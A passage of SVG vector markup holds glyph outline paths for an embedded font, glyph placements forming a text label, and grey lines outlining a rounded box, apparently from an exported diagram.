6.144531 -7.097656 6.171875 -6.753906 6.171875 -6.390625 C 6.171875 -5.671875 6.15625 -4.96875 6.125 -4.28125 C 6.09375 -3.601562 6.078125 -2.957031 6.078125 -2.34375 C 6.078125 -1.882812 6.09375 -1.457031 6.125 -1.0625 C 6.15625 -0.675781 6.210938 -0.3125 6.296875 0.03125 L 5.3125 0.03125 L 5 -1.03125 L 4.9375 -1.03125 C 4.75 -0.71875 4.484375 -0.445312 4.140625 -0.21875 C 3.796875 0.0078125 3.328125 0.125 2.734375 0.125 C 2.085938 0.125 1.554688 -0.0976562 1.140625 -0.546875 C 0.722656 -0.992188 0.515625 -1.613281 0.515625 -2.40625 C 0.515625 -2.925781 0.601562 -3.359375 0.78125 -3.703125 C 0.957031 -4.054688 1.203125 -4.335938 1.515625 -4.546875 C 1.835938 -4.765625 2.21875 -4.914062 2.65625 -5 C 3.09375 -5.09375 3.582031 -5.140625 4.125 -5.140625 C 4.238281 -5.140625 4.351562 -5.140625 4.46875 -5.140625 C 4.59375 -5.140625 4.722656 -5.132812 4.859375 -5.125 C 4.890625 -5.5 4.90625 -5.832031 4.90625 -6.125 C 4.90625 -6.800781 4.800781 -7.273438 4.59375 -7.546875 C 4.394531 -7.828125 4.023438 -7.96875 3.484375 -7.96875 C 3.148438 -7.96875 2.785156 -7.914062 2.390625 -7.8125 C 1.992188 -7.71875 1.664062 -7.59375 1.40625 -7.4375 Z M 4.875 -4.109375 C 4.757812 -4.117188 4.640625 -4.125 4.515625 -4.125 C 4.398438 -4.132812 4.28125 -4.140625 4.15625 -4.140625 C 3.863281 -4.140625 3.578125 -4.113281 3.296875 -4.0625 C 3.023438 -4.019531 2.78125 -3.9375 2.5625 -3.8125 C 2.351562 -3.695312 2.1875 -3.535156 2.0625 -3.328125 C 1.9375 -3.128906 1.875 -2.875 1.875 -2.5625 C 1.875 -2.082031 1.988281 -1.707031 2.21875 -1.4375 C 2.457031 -1.175781 2.757812 -1.046875 3.125 -1.046875 C 3.632812 -1.046875 4.023438 -1.164062 4.296875 -1.40625 C 4.578125 -1.644531 4.769531 -1.910156 4.875 -2.203125 Z M 4.875 -4.109375"/></symbol><symbol overflow="visible" id="D"><path d="M 6.734375 -3.09375 C 6.734375 -2.476562 6.738281 -1.921875 6.75 -1.421875 C 6.757812 -0.929688 6.800781 -0.445312 6.875 0.03125 L 6 0.03125 L 5.703125 -1.046875 L 5.640625 -1.046875 C 5.460938 -0.679688 5.191406 -0.378906 4.828125 -0.140625 C 4.472656 0.0976562 4.046875 0.21875 3.546875 0.21875 C 2.578125 0.21875 1.851562 -0.15625 1.375 -0.90625 C 0.90625 -1.664062 0.671875 -2.859375 0.671875 -4.484375 C 0.671875 -6.015625 0.957031 -7.175781 1.53125 -7.96875 C 2.113281 -8.757812 2.914062 -9.15625 3.9375 -9.15625 C 4.289062 -9.15625 4.566406 -9.132812 4.765625 -9.09375 C 4.972656 -9.050781 5.195312 -8.984375 5.4375 -8.890625 L 5.4375 -12.59375 L 6.734375 -12.59375 Z M 5.4375 -7.578125 C 5.269531 -7.722656 5.078125 -7.828125 4.859375 -7.890625 C 4.648438 -7.953125 4.375 -7.984375 4.03125 -7.984375 C 3.394531 -7.984375 2.898438 -7.695312 2.546875 -7.125 C 2.191406 -6.550781 2.015625 -5.664062 2.015625 -4.46875 C 2.015625 -3.9375 2.046875 -3.457031 2.109375 -3.03125 C 2.179688 -2.601562 2.285156 -2.234375 2.421875 -1.921875 C 2.554688 -1.609375 2.734375 -1.367188 2.953125 -1.203125 C 3.179688 -1.035156 3.457031 -0.953125 3.78125 -0.953125 C 4.644531 -0.953125 5.195312 -1.460938 5.4375 -2.484375 Z M 5.4375 -7.578125"/></symbol><symbol overflow="visible" id="E"><path d="M 0.921875 -1.46875 C 1.160156 -1.332031 1.441406 -1.210938 1.765625 -1.109375 C 2.097656 -1.003906 2.441406 -0.953125 2.796875 -0.953125 C 3.191406 -0.953125 3.523438 -1.050781 3.796875 -1.25 C 4.078125 -1.445312 4.21875 -1.769531 4.21875 -2.21875 C 4.21875 -2.582031 4.128906 -2.882812 3.953125 -3.125 C 3.785156 -3.363281 3.570312 -3.578125 3.3125 -3.765625 C 3.0625 -3.960938 2.785156 -4.140625 2.484375 -4.296875 C 2.179688 -4.460938 1.898438 -4.660156 1.640625 -4.890625 C 1.390625 -5.117188 1.175781 -5.390625 1 -5.703125 C 0.832031 -6.015625 0.75 -6.410156 0.75 -6.890625 C 0.75 -7.660156 0.957031 -8.238281 1.375 -8.625 C 1.789062 -9.019531 2.375 -9.21875 3.125 -9.21875 C 3.625 -9.21875 4.050781 -9.171875 4.40625 -9.078125 C 4.769531 -8.992188 5.082031 -8.875 5.34375 -8.71875 L 5 -7.625 C 4.769531 -7.75 4.503906 -7.847656 4.203125 -7.921875 C 3.910156 -8.003906 3.609375 -8.046875 3.296875 -8.046875 C 2.859375 -8.046875 2.539062 -7.953125 2.34375 -7.765625 C 2.144531 -7.585938 2.046875 -7.3125 2.046875 -6.9375 C 2.046875 -6.632812 2.128906 -6.375 2.296875 -6.15625 C 2.472656 -5.945312 2.6875 -5.753906 2.9375 -5.578125 C 3.195312 -5.410156 3.476562 -5.234375 3.78125 -5.046875 C 4.082031 -4.867188 4.359375 -4.65625 4.609375 -4.40625 C 4.867188 -4.164062 5.082031 -3.875 5.25 -3.53125 C 5.425781 -3.195312 5.515625 -2.769531 5.515625 -2.25 C 5.515625 -1.914062 5.457031 -1.597656 5.34375 -1.296875 C 5.238281 -0.992188 5.070312 -0.734375 4.84375 -0.515625 C 4.625 -0.296875 4.347656 -0.117188 4.015625 0.015625 C 3.691406 0.148438 3.304688 0.21875 2.859375 0.21875 C 2.328125 0.21875 1.867188 0.164062 1.484375 0.0625 C 1.109375 -0.0390625 0.785156 -0.175781 0.515625 -0.34375 Z M 0.921875 -1.46875"/></symbol><symbol overflow="visible" id="F"><path d="M 0.640625 -0.78125 C 0.640625 -1.070312 0.726562 -1.304688 0.90625 -1.484375 C 1.082031 -1.671875 1.304688 -1.765625 1.578125 -1.765625 C 1.890625 -1.765625 2.144531 -1.640625 2.34375 -1.390625 C 2.539062 -1.140625 2.640625 -0.742188 2.640625 -0.203125 C 2.640625 0.191406 2.585938 0.546875 2.484375 0.859375 C 2.390625 1.179688 2.257812 1.460938 2.09375 1.703125 C 1.9375 1.941406 1.757812 2.140625 1.5625 2.296875 C 1.375 2.453125 1.191406 2.566406 1.015625 2.640625 L 0.5625 2.03125 C 0.71875 1.945312 0.863281 1.835938 1 1.703125 C 1.132812 1.566406 1.242188 1.410156 1.328125 1.234375 C 1.421875 1.066406 1.492188 0.890625 1.546875 0.703125 C 1.597656 0.523438 1.625 0.34375 1.625 0.15625 C 1.382812 0.226562 1.160156 0.179688 0.953125 0.015625 C 0.742188 -0.148438 0.640625 -0.414062 0.640625 -0.78125 Z M 0.640625 -0.78125"/></symbol><symbol overflow="visible" id="G"><path d="M 1.15625 -12.46875 C 1.539062 -12.582031 1.945312 -12.65625 2.375 -12.6875 C 2.8125 -12.726562 3.238281 -12.75 3.65625 -12.75 C 4.132812 -12.75 4.609375 -12.691406 5.078125 -12.578125 C 5.546875 -12.472656 5.96875 -12.273438 6.34375 -11.984375 C 6.71875 -11.703125 7.019531 -11.304688 7.25 -10.796875 C 7.488281 -10.296875 7.609375 -9.65625 7.609375 -8.875 C 7.609375 -8.113281 7.5 -7.46875 7.28125 -6.9375 C 7.0625 -6.414062 6.765625 -5.988281 6.390625 -5.65625 C 6.023438 -5.332031 5.601562 -5.09375 5.125 -4.9375 C 4.65625 -4.789062 4.171875 -4.71875 3.671875 -4.71875 C 3.617188 -4.71875 3.539062 -4.71875 3.4375 -4.71875 C 3.332031 -4.71875 3.21875 -4.71875 3.09375 -4.71875 C 2.976562 -4.726562 2.863281 -4.738281 2.75 -4.75 C 2.632812 -4.757812 2.550781 -4.769531 2.5 -4.78125 L 2.5 0 L 1.15625 0 Z M 3.71875 -11.5 C 3.476562 -11.5 3.25 -11.488281 3.03125 -11.46875 C 2.8125 -11.457031 2.632812 -11.429688 2.5 -11.390625 L 2.5 -6.03125 C 2.550781 -6.007812 2.625 -5.992188 2.71875 -5.984375 C 2.820312 -5.972656 2.925781 -5.960938 3.03125 -5.953125 C 3.144531 -5.953125 3.253906 -5.953125 3.359375 -5.953125 C 3.460938 -5.953125 3.535156 -5.953125 3.578125 -5.953125 C 3.921875 -5.953125 4.242188 -5.992188 4.546875 -6.078125 C 4.859375 -6.160156 5.132812 -6.3125 5.375 -6.53125 C 5.613281 -6.757812 5.804688 -7.0625 5.953125 -7.4375 C 6.109375 -7.820312 6.1875 -8.300781 6.1875 -8.875 C 6.1875 -9.375 6.117188 -9.789062 5.984375 -10.125 C 5.847656 -10.46875 5.664062 -10.738281 5.4375 -10.9375 C 5.21875 -11.144531 4.957031 -11.289062 4.65625 -11.375 C 4.363281 -11.457031 4.050781 -11.5 3.71875 -11.5 Z M 3.71875 -11.5"/></symbol><symbol overflow="visible" id="H"><path d="M 0.703125 -0.8125 C 0.703125 -1.144531 0.78125 -1.394531 0.9375 -1.5625 C 1.101562 -1.726562 1.328125 -1.8125 1.609375 -1.8125 C 1.878906 -1.8125 2.09375 -1.726562 2.25 -1.5625 C 2.414062 -1.394531 2.5 -1.144531 2.5 -0.8125 C 2.5 -0.457031 2.414062 -0.195312 2.25 -0.03125 C 2.09375 0.132812 1.878906 0.21875 1.609375 0.21875 C 1.328125 0.21875 1.101562 0.132812 0.9375 -0.03125 C 0.78125 -0.195312 0.703125 -0.457031 0.703125 -0.8125 Z M 0.703125 -0.8125"/></symbol><symbol overflow="visible" id="I"><path d="M 0.78125 -6.296875 C 0.78125 -8.429688 1.117188 -10.050781 1.796875 -11.15625 C 2.484375 -12.257812 3.53125 -12.8125 4.9375 -12.8125 C 5.6875 -12.8125 6.328125 -12.65625 6.859375 -12.34375 C 7.390625 -12.039062 7.816406 -11.609375 8.140625 -11.046875 C 8.472656 -10.484375 8.71875 -9.800781 8.875 -9 C 9.03125 -8.195312 9.109375 -7.296875 9.109375 -6.296875 C 9.109375 -4.160156 8.757812 -2.539062 8.0625 -1.4375 C 7.375 -0.332031 6.332031 0.21875 4.9375 0.21875 C 4.1875 0.21875 3.546875 0.0664062 3.015625 -0.234375 C 2.492188 -0.546875 2.0625 -0.984375 1.71875 -1.546875 C 1.382812 -2.109375 1.144531 -2.789062 1 -3.59375 C 0.851562 -4.40625 0.78125 -5.304688 0.78125 -6.296875 Z M 2.203125 -6.296875 C 2.203125 -5.585938 2.25 -4.914062 2.34375 -4.28125 C 2.445312 -3.644531 2.609375 -3.085938 2.828125 -2.609375 C 3.046875 -2.128906 3.328125 -1.742188 3.671875 -1.453125 C 4.015625 -1.171875 4.4375 -1.03125 4.9375 -1.03125 C 5.832031 -1.03125 6.515625 -1.460938 6.984375 -2.328125 C 7.453125 -3.191406 7.6875 -4.515625 7.6875 -6.296875 C 7.6875 -6.992188 7.632812 -7.660156 7.53125 -8.296875 C 7.425781 -8.929688 7.265625 -9.488281 7.046875 -9.96875 C 6.835938 -10.457031 6.554688 -10.847656 6.203125 -11.140625 C 5.859375 -11.429688 5.4375 -11.578125 4.9375 -11.578125 C 4.039062 -11.578125 3.359375 -11.144531 2.890625 -10.28125 C 2.429688 -9.414062 2.203125 -8.085938 2.203125 -6.296875 Z M 2.203125 -6.296875"/></symbol><symbol overflow="visible" id="J"><path d="M 1.0625 -12.59375 L 2.359375 -12.59375 L 2.359375 -8.3125 L 2.40625 -8.3125 C 2.90625 -8.914062 3.5625 -9.21875 4.375 -9.21875 C 5.300781 -9.21875 5.992188 -8.847656 6.453125 -8.109375 C 6.910156 -7.378906 7.140625 -6.222656 7.140625 -4.640625 C 7.140625 -3.023438 6.832031 -1.820312 6.21875 -1.03125 C 5.601562 -0.238281 4.726562 0.15625 3.59375 0.15625 C 3.039062 0.15625 2.535156 0.09375 2.078125 -0.03125 C 1.628906 -0.15625 1.289062 -0.300781 1.0625 -0.46875 Z M 2.359375 -1.3125 C 2.523438 -1.21875 2.726562 -1.144531 2.96875 -1.09375 C 3.21875 -1.039062 3.484375 -1.015625 3.765625 -1.015625 C 4.390625 -1.015625 4.882812 -1.3125 5.25 -1.90625 C 5.613281 -2.5 5.796875 -3.410156 5.796875 -4.640625 C 5.796875 -5.160156 5.757812 -5.625 5.6875 -6.03125 C 5.625 -6.445312 5.523438 -6.804688 5.390625 -7.109375 C 5.253906 -7.410156 5.070312 -7.640625 4.84375 -7.796875 C 4.625 -7.960938 4.359375 -8.046875 4.046875 -8.046875 C 3.617188 -8.046875 3.265625 -7.914062 2.984375 -7.65625 C 2.703125 -7.394531 2.492188 -7.046875 2.359375 -6.609375 Z M 2.359375 -1.3125"/></symbol><symbol overflow="visible" id="K"><path d="M 0.671875 -4.5 C 0.671875 -6.125 0.945312 -7.316406 1.5 -8.078125 C 2.0625 -8.835938 2.859375 -9.21875 3.890625 -9.21875 C 4.992188 -9.21875 5.804688 -8.828125 6.328125 -8.046875 C 6.847656 -7.265625 7.109375 -6.082031 7.109375 -4.5 C 7.109375 -2.863281 6.828125 -1.664062 6.265625 -0.90625 C 5.703125 -0.15625 4.910156 0.21875 3.890625 0.21875 C 2.785156 0.21875 1.972656 -0.171875 1.453125 -0.953125 C 0.929688 -1.734375 0.671875 -2.914062 0.671875 -4.5 Z M 2.015625 -4.5 C 2.015625 -3.96875 2.046875 -3.484375 2.109375 -3.046875 C 2.179688 -2.617188 2.289062 -2.25 2.4375 -1.9375 C 2.582031 -1.625 2.773438 -1.378906 3.015625 -1.203125 C 3.265625 -1.035156 3.554688 -0.953125 3.890625 -0.953125 C 4.515625 -0.953125 4.984375 -1.226562 5.296875 -1.78125 C 5.609375 -2.34375 5.765625 -3.25 5.765625 -4.5 C 5.765625 -5.019531 5.726562 -5.5 5.65625 -5.9375 C 5.59375 -6.375 5.484375 -6.75 5.328125 -7.0625 C 5.179688 -7.375 4.988281 -7.613281 4.75 -7.78125 C 4.507812 -7.957031 4.222656 -8.046875 3.890625 -8.046875 C 3.273438 -8.046875 2.804688 -7.765625 2.484375 -7.203125 C 2.171875 -6.640625 2.015625 -5.738281 2.015625 -4.5 Z M 2.015625 -4.5"/></symbol><symbol overflow="visible" id="L"><path d="M 2.890625 -4.609375 L 0.515625 -9 L 2.0625 -9 L 3.40625 -6.421875 L 3.765625 -5.421875 L 4.140625 -6.421875 L 5.515625 -9 L 6.9375 -9 L 4.53125 -4.6875 L 7.078125 0 L 5.59375 0 L 4.09375 -2.828125 L 3.6875 -3.90625 L 3.28125 -2.828125 L 1.765625 0 L 0.34375 0 Z M 2.890625 -4.609375"/></symbol><symbol overflow="visible" id="M"><path d="M 6.03125 -0.453125 C 5.726562 -0.222656 5.382812 -0.0546875 5 0.046875 C 4.613281 0.160156 4.210938 0.21875 3.796875 0.21875 C 3.222656 0.21875 2.738281 0.109375 2.34375 -0.109375 C 1.945312 -0.335938 1.625 -0.65625 1.375 -1.0625 C 1.132812 -1.476562 0.957031 -1.976562 0.84375 -2.5625 C 0.726562 -3.144531 0.671875 -3.789062 0.671875 -4.5 C 0.671875 -6.03125 0.941406 -7.195312 1.484375 -8 C 2.023438 -8.8125 2.804688 -9.21875 3.828125 -9.21875 C 4.296875 -9.21875 4.695312 -9.175781 5.03125 -9.09375 C 5.375 -9.007812 5.664062 -8.898438 5.90625 -8.765625 L 5.546875 -7.625 C 5.066406 -7.90625 4.546875 -8.046875 3.984375 -8.046875 C 3.328125 -8.046875 2.832031 -7.757812 2.5 -7.1875 C 2.175781 -6.625 2.015625 -5.726562 2.015625 -4.5 C 2.015625 -4.007812 2.050781 -3.546875 2.125 -3.109375 C 2.195312 -2.679688 2.316406 -2.304688 2.484375 -1.984375 C 2.648438 -1.671875 2.863281 -1.421875 3.125 -1.234375 C 3.394531 -1.046875 3.726562 -0.953125 4.125 -0.953125 C 4.4375 -0.953125 4.726562 -1.003906 5 -1.109375 C 5.269531 -1.222656 5.488281 -1.351562 5.65625 -1.5 Z M 6.03125 -0.453125"/></symbol><symbol overflow="visible" id="N"><path d="M 5.28125 0 L 5.28125 -5.34375 C 5.28125 -5.820312 5.265625 -6.234375 5.234375 -6.578125 C 5.203125 -6.921875 5.132812 -7.195312 5.03125 -7.40625 C 4.9375 -7.625 4.804688 -7.785156 4.640625 -7.890625 C 4.472656 -7.992188 4.253906 -8.046875 3.984375 -8.046875 C 3.566406 -8.046875 3.21875 -7.882812 2.9375 -7.5625 C 2.65625 -7.25 2.460938 -6.890625 2.359375 -6.484375 L 2.359375 0 L 1.0625 0 L 1.0625 -9 L 1.984375 -9 L 2.21875 -8.046875 L 2.265625 -8.046875 C 2.515625 -8.390625 2.8125 -8.671875 3.15625 -8.890625 C 3.507812 -9.109375 3.957031 -9.21875 4.5 -9.21875 C 4.957031 -9.21875 5.332031 -9.117188 5.625 -8.921875 C 5.914062 -8.722656 6.144531 -8.367188 6.3125 -7.859375 C 6.53125 -8.285156 6.835938 -8.617188 7.234375 -8.859375 C 7.640625 -9.097656 8.082031 -9.21875 8.5625 -9.21875 C 8.957031 -9.21875 9.296875 -9.164062 9.578125 -9.0625 C 9.867188 -8.957031 10.097656 -8.773438 10.265625 -8.515625 C 10.441406 -8.265625 10.570312 -7.925781 10.65625 -7.5 C 10.738281 -7.070312 10.78125 -6.535156 10.78125 -5.890625 L 10.78125 0 L 9.484375 0 L 9.484375 -5.71875 C 9.484375 -6.5 9.40625 -7.082031 9.25 -7.46875 C 9.101562 -7.851562 8.757812 -8.046875 8.21875 -8.046875 C 7.769531 -8.046875 7.410156 -7.90625 7.140625 -7.625 C 6.867188 -7.34375 6.675781 -6.960938 6.5625 -6.484375 L 6.5625 0 Z M 5.28125 0"/></symbol><symbol overflow="visible" id="O"><path d="M 1.0625 -9 L 1.984375 -9 L 2.171875 -8.03125 L 2.25 -8.03125 C 2.695312 -8.820312 3.394531 -9.21875 4.34375 -9.21875 C 5.289062 -9.21875 6 -8.863281 6.46875 -8.15625 C 6.945312 -7.445312 7.1875 -6.289062 7.1875 -4.6875 C 7.1875 -3.925781 7.109375 -3.242188 6.953125 -2.640625 C 6.796875 -2.035156 6.570312 -1.519531 6.28125 -1.09375 C 5.988281 -0.664062 5.632812 -0.335938 5.21875 -0.109375 C 4.8125 0.109375 4.359375 0.21875 3.859375 0.21875 C 3.503906 0.21875 3.222656 0.195312 3.015625 0.15625 C 2.816406 0.113281 2.597656 0.0234375 2.359375 -0.109375 L 2.359375 3.59375 L 1.0625 3.59375 Z M 2.359375 -1.421875 C 2.523438 -1.273438 2.710938 -1.160156 2.921875 -1.078125 C 3.128906 -0.992188 3.410156 -0.953125 3.765625 -0.953125 C 4.398438 -0.953125 4.898438 -1.273438 5.265625 -1.921875 C 5.640625 -2.566406 5.828125 -3.492188 5.828125 -4.703125 C 5.828125 -5.203125 5.796875 -5.65625 5.734375 -6.0625 C 5.671875 -6.46875 5.566406 -6.816406 5.421875 -7.109375 C 5.273438 -7.410156 5.085938 -7.640625 4.859375 -7.796875 C 4.640625 -7.960938 4.367188 -8.046875 4.046875 -8.046875 C 3.171875 -8.046875 2.609375 -7.507812 2.359375 -6.4375 Z M 2.359375 -1.421875"/></symbol><symbol overflow="visible" id="P"><path d="M 5.671875 0 L 5.671875 -5.484375 C 5.671875 -6.390625 5.566406 -7.039062 5.359375 -7.4375 C 5.148438 -7.84375 4.773438 -8.046875 4.234375 -8.046875 C 3.753906 -8.046875 3.359375 -7.898438 3.046875 -7.609375 C 2.734375 -7.328125 2.503906 -6.972656 2.359375 -6.546875 L 2.359375 0 L 1.0625 0 L 1.0625 -9 L 2 -9 L 2.234375 -8.046875 L 2.28125 -8.046875 C 2.507812 -8.367188 2.816406 -8.644531 3.203125 -8.875 C 3.597656 -9.101562 4.066406 -9.21875 4.609375 -9.21875 C 4.992188 -9.21875 5.332031 -9.160156 5.625 -9.046875 C 5.914062 -8.941406 6.160156 -8.757812 6.359375 -8.5 C 6.554688 -8.25 6.707031 -7.90625 6.8125 -7.46875 C 6.914062 -7.039062 6.96875 -6.492188 6.96875 -5.828125 L 6.96875 0 Z M 5.671875 0"/></symbol><symbol overflow="visible" id="Q"><path d="M 3.296875 -3.1875 L 3.671875 -1.4375 L 3.765625 -1.4375 L 4.03125 -3.1875 L 5.40625 -9 L 6.71875 -9 L 4.578125 -0.921875 C 4.398438 -0.273438 4.226562 0.328125 4.0625 0.890625 C 3.894531 1.460938 3.710938 1.953125 3.515625 2.359375 C 3.316406 2.773438 3.09375 3.097656 2.84375 3.328125 C 2.601562 3.566406 2.316406 3.6875 1.984375 3.6875 C 1.640625 3.6875 1.34375 3.632812 1.09375 3.53125 L 1.3125 2.296875 C 1.476562 2.359375 1.644531 2.367188 1.8125 2.328125 C 1.976562 2.296875 2.132812 2.195312 2.28125 2.03125 C 2.4375 1.863281 2.578125 1.613281 2.703125 1.28125 C 2.828125 0.957031 2.941406 0.53125 3.046875 0 L 0.125 -9 L 1.609375 -9 Z M 3.296875 -3.1875"/></symbol><symbol overflow="visible" id="S"><path d="M 6 -3.53125 L 2.4375 -3.53125 L 1.421875 0 L 0.09375 0 L 3.890625 -12.796875 L 4.625 -12.796875 L 8.421875 0 L 7.015625 0 Z M 2.796875 -4.734375 L 5.671875 -4.734375 L 4.578125 -8.625 L 4.234375 -10.515625 L 4.1875 -10.515625 L 3.859375 -8.59375 Z M 2.796875 -4.734375"/></symbol><symbol overflow="visible" id="T"><path d="M 2.234375 -9 L 2.234375 -3.484375 C 2.234375 -2.578125 2.328125 -1.925781 2.515625 -1.53125 C 2.703125 -1.144531 3.039062 -0.953125 3.53125 -0.953125 C 3.78125 -0.953125 4.003906 -1.003906 4.203125 -1.109375 C 4.398438 -1.210938 4.578125 -1.347656 4.734375 -1.515625 C 4.890625 -1.679688 5.023438 -1.867188 5.140625 -2.078125 C 5.265625 -2.296875 5.363281 -2.519531 5.4375 -2.75 L 5.4375 -9 L 6.734375 -9 L 6.734375 -2.5625 C 6.734375 -2.125 6.75 -1.671875 6.78125 -1.203125 C 6.8125 -0.742188 6.851562 -0.34375 6.90625 0 L 6 0 L 5.671875 -1.265625 L 5.609375 -1.265625 C 5.410156 -0.867188 5.117188 -0.519531 4.734375 -0.21875 C 4.347656 0.0703125 3.867188 0.21875 3.296875 0.21875 C 2.910156 0.21875 2.570312 0.164062 2.28125 0.0625 C 2 -0.03125 1.753906 -0.203125 1.546875 -0.453125 C 1.335938 -0.703125 1.179688 -1.046875 1.078125 -1.484375 C 0.984375 -1.921875 0.9375 -2.484375 0.9375 -3.171875 L 0.9375 -9 Z M 2.234375 -9"/></symbol><symbol overflow="visible" id="U"><path d="M 1.28125 -9 L 2.578125 -9 L 2.578125 0 L 1.28125 0 Z M 1.046875 -11.734375 C 1.046875 -12.023438 1.125 -12.257812 1.28125 -12.4375 C 1.445312 -12.613281 1.660156 -12.703125 1.921875 -12.703125 C 2.191406 -12.703125 2.410156 -12.613281 2.578125 -12.4375 C 2.753906 -12.269531 2.84375 -12.035156 2.84375 -11.734375 C 2.84375 -11.441406 2.753906 -11.210938 2.578125 -11.046875 C 2.410156 -10.890625 2.191406 -10.8125 1.921875 -10.8125 C 1.660156 -10.8125 1.445312 -10.894531 1.28125 -11.0625 C 1.125 -11.238281 1.046875 -11.460938 1.046875 -11.734375 Z M 1.046875 -11.734375"/></symbol><symbol overflow="visible" id="V"><path d="M 2.453125 -2.140625 C 2.453125 -1.722656 2.507812 -1.421875 2.625 -1.234375 C 2.738281 -1.054688 2.894531 -0.96875 3.09375 -0.96875 C 3.34375 -0.96875 3.640625 -1.035156 3.984375 -1.171875 L 4.109375 -0.125 C 3.953125 -0.03125 3.734375 0.046875 3.453125 0.109375 C 3.171875 0.171875 2.914062 0.203125 2.6875 0.203125 C 2.226562 0.203125 1.859375 0.0625 1.578125 -0.21875 C 1.296875 -0.5 1.15625 -0.992188 1.15625 -1.703125 L 1.15625 -12.59375 L 2.453125 -12.59375 Z M 2.453125 -2.140625"/></symbol><symbol overflow="visible" id="W"><path d="M 6.734375 0.40625 C 6.734375 1.570312 6.472656 2.429688 5.953125 2.984375 C 5.441406 3.535156 4.691406 3.8125 3.703125 3.8125 C 3.109375 3.8125 2.617188 3.757812 2.234375 3.65625 C 1.847656 3.5625 1.535156 3.445312 1.296875 3.3125 L 1.671875 2.203125 C 1.910156 2.304688 2.171875 2.40625 2.453125 2.5 C 2.742188 2.59375 3.101562 2.640625 3.53125 2.640625 C 4.257812 2.640625 4.757812 2.4375 5.03125 2.03125 C 5.300781 1.625 5.4375 0.941406 5.4375 -0.015625 L 5.4375 -0.6875 L 5.375 -0.6875 C 5.1875 -0.40625 4.941406 -0.1875 4.640625 -0.03125 C 4.335938 0.125 3.953125 0.203125 3.484375 0.203125 C 2.515625 0.203125 1.800781 -0.171875 1.34375 -0.921875 C 0.894531 -1.671875 0.671875 -2.851562 0.671875 -4.46875 C 0.671875 -6.007812 0.96875 -7.175781 1.5625 -7.96875 C 2.15625 -8.757812 3.03125 -9.15625 4.1875 -9.15625 C 4.757812 -9.15625 5.25 -9.101562 5.65625 -9 C 6.0625 -8.894531 6.421875 -8.769531 6.734375 -8.625 Z M 5.4375 -7.703125 C 5.070312 -7.890625 4.609375 -7.984375 4.046875 -7.984375 C 3.429688 -7.984375 2.9375 -7.703125 2.5625 -7.140625 C 2.195312 -6.585938 2.015625 -5.703125 2.015625 -4.484375 C 2.015625 -3.972656 2.046875 -3.503906 2.109375 -3.078125 C 2.171875 -2.660156 2.269531 -2.289062 2.40625 -1.96875 C 2.550781 -1.65625 2.734375 -1.410156 2.953125 -1.234375 C 3.179688 -1.054688 3.457031 -0.96875 3.78125 -0.96875 C 4.238281 -0.96875 4.597656 -1.085938 4.859375 -1.328125 C 5.117188 -1.566406 5.3125 -1.925781 5.4375 -2.40625 Z M 5.4375 -7.703125"/></symbol><symbol overflow="visible" id="X"><path d="M 5.40625 -11.5 C 5.269531 -11.519531 5.070312 -11.546875 4.8125 -11.578125 C 4.550781 -11.617188 4.296875 -11.640625 4.046875 -11.640625 C 3.734375 -11.640625 3.488281 -11.578125 3.3125 -11.453125 C 3.132812 -11.335938 2.992188 -11.171875 2.890625 -10.953125 C 2.796875 -10.734375 2.738281 -10.457031 2.71875 -10.125 C 2.695312 -9.789062 2.6875 -9.414062 2.6875 -9 L 4.109375 -9 L 4.109375 -7.828125 L 2.6875 -7.828125 L 2.6875 0 L 1.390625 0 L 1.390625 -7.828125 L 0.28125 -7.828125 L 0.28125 -9 L 1.390625 -9 L 1.390625 -9.5 C 1.390625 -10.632812 1.585938 -11.46875 1.984375 -12 C 2.390625 -12.539062 3.066406 -12.8125 4.015625 -12.8125 C 4.203125 -12.8125 4.425781 -12.800781 4.6875 -12.78125 C 4.945312 -12.769531 5.203125 -12.75 5.453125 -12.71875 C 5.703125 -12.6875 5.9375 -12.648438 6.15625 -12.609375 C 6.382812 -12.578125 6.566406 -12.535156 6.703125 -12.484375 L 6.703125 -2.046875 C 6.703125 -1.648438 6.753906 -1.367188 6.859375 -1.203125 C 6.972656 -1.035156 7.132812 -0.953125 7.34375 -0.953125 C 7.601562 -0.953125 7.90625 -1.019531 8.25 -1.15625 L 8.328125 -0.109375 C 8.171875 -0.015625 7.957031 0.0625 7.6875 0.125 C 7.425781 0.1875 7.164062 0.21875 6.90625 0.21875 C 6.457031 0.21875 6.09375 0.078125 5.8125 -0.203125 C 5.539062 -0.492188 5.40625 -0.988281 5.40625 -1.6875 Z M 5.40625 -11.5"/></symbol></defs><path fill="#fff" d="M0 0H707V478H0z"/><path d="M 24.194 15.513817 L 59.46568 15.513817 L 59.46568 38.091747 L 24.194 38.091747 Z M 24.194 15.513817" transform="matrix(20 0 0 20 -482.88 -284.624)" fill-rule="evenodd" fill="#fff" stroke-width=".1" stroke="#fff" stroke-miterlimit="10"/><path d="M 57.890625 44.359375 L 187.191406 44.359375 L 187.191406 70.609375 L 57.890625 70.609375 Z M 57.890625 44.359375" fill-rule="evenodd" fill="#fff"/><use xlink:href="#a" x="57.891" y="65.012"/><use xlink:href="#b" x="66.367" y="65.012"/><use xlink:href="#c" x="75" y="65.012"/><use xlink:href="#d" x="81.758" y="65.012"/><use xlink:href="#e" x="87.266" y="65.012"/><use xlink:href="#f" x="95.273" y="65.012"/><use xlink:href="#g" x="99.941" y="65.012"/><use xlink:href="#h" x="109.395" y="65.012"/><use xlink:href="#h" x="118.047" y="65.012"/><use xlink:href="#i" x="126.699" y="65.012"/><use xlink:href="#j" x="132.188" y="65.012"/><use xlink:href="#c" x="140.449" y="65.012"/><use xlink:href="#c" x="147.207" y="65.012"/><use xlink:href="#k" x="153.965" y="65.012"/><use xlink:href="#l" x="160.879" y="65.012"/><use xlink:href="#m" x="168.398" y="65.012"/><use xlink:href="#j" x="177.09" y="65.012"/><path d="M 26.601422 18.296239 L 57.058062 18.296239" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.601422 36.158153 L 57.058062 36.158153" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.601422 18.296239 L 26.601422 18.296239 C 26.435797 18.296239 26.301422 18.430419 26.301422 18.596239" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.358062 18.596239 L 57.358062 18.596239 C 57.358062 18.430419 57.223883 18.296239 57.058062 18.296239" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" 